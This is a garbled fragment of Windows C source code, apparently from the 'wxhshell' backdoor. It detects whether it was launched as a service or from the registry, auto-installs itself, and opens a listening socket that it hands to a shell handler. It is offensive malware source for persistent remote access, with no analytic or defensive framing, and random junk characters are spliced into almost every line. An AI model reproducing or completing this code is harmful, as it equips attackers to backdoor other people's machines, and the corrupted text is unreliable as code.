ULONG InheritedFromUniqueProcessId; t**o<p#)f
} PROCESS_BASIC_INFORMATION; 9 [wR/8Xm
A{ Ejk|
PROCNTQSIP NtQueryInformationProcess; \"Aw
ATQ
xmwH~UWp
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IfpFsq:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K ZQ
`
?OdJt
HANDLE hProcess; "kkZK=}Nv
PROCESS_BASIC_INFORMATION pbi; qW t 9Tr
bS*oFm@u
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /;xmM2B'
if(NULL == hInst ) return 0; T^.W'
`YPNVm<3)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =xPBolxm5U
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
Y 9~z7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]F1ZeAh5
S<DS|qOo
if (!NtQueryInformationProcess) return 0; >TwL&la
P*6&0\af|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KHt.g`1:R
if(!hProcess) return 0; `+EjmY
p Yaq1_<+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YJ~3eZQ
a[Oi
CloseHandle(hProcess); ^r0mx{i&
9 e0Oj3!B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ompkDl\E
if(hProcess==NULL) return 0; 2B&|0&WI
s(M8 Y
HMODULE hMod; x)!NB99(tC
char procName[255]; s9b 6l,Z
unsigned long cbNeeded; ypsT:uLT
#ZPy&GIr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); or..e
\k)(:[^FY
CloseHandle(hProcess); |csR"DOqz
mdPEF)-
if(strstr(procName,"services")) return 1; // 以服务启动 PV/SzfvIq
Mwd(?o
return 0; // 注册表启动 o;2QZ"v
} M}BqSzd*
\hFIg3
// 主模块 m\?H
<o0
int StartWxhshell(LPSTR lpCmdLine) Irnfr\l.
{ :s`\jJ
SOCKET wsl; _T[m YY
BOOL val=TRUE; 9?#L/
int port=0; K\`>'C2_V
struct sockaddr_in door; J\x.:=V
WZJ}HHePr
if(wscfg.ws_autoins) Install(); I:G4i}mA
L/n?1'he
port=atoi(lpCmdLine); 2q,> *B?
#iAEcC0k5
if(port<=0) port=wscfg.ws_port; Wf>scl`s
h$~\to$C
WSADATA data; ?\NWKp
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #Jqa_$\.
o `N /w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'vUx4s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {expx<+4F
door.sin_family = AF_INET; smN|r
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #DFfySH)A
door.sin_port = htons(port); OFe?T\dQn
/htM/pR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f/6,b&l,
closesocket(wsl); CDTM<0`%
return 1; ]~1Xx:X-
} P\R#!+FgW8
KWH l+pL
if(listen(wsl,2) == INVALID_SOCKET) { q2C._{ 0'
closesocket(wsl); `c~J&@|
return 1; w
`0m[*
} o 0'!u
Wxhshell(wsl); Au-h#YV
WSACleanup(); WVfwt.Y
H~Fb=.h]U
return 0; kKP<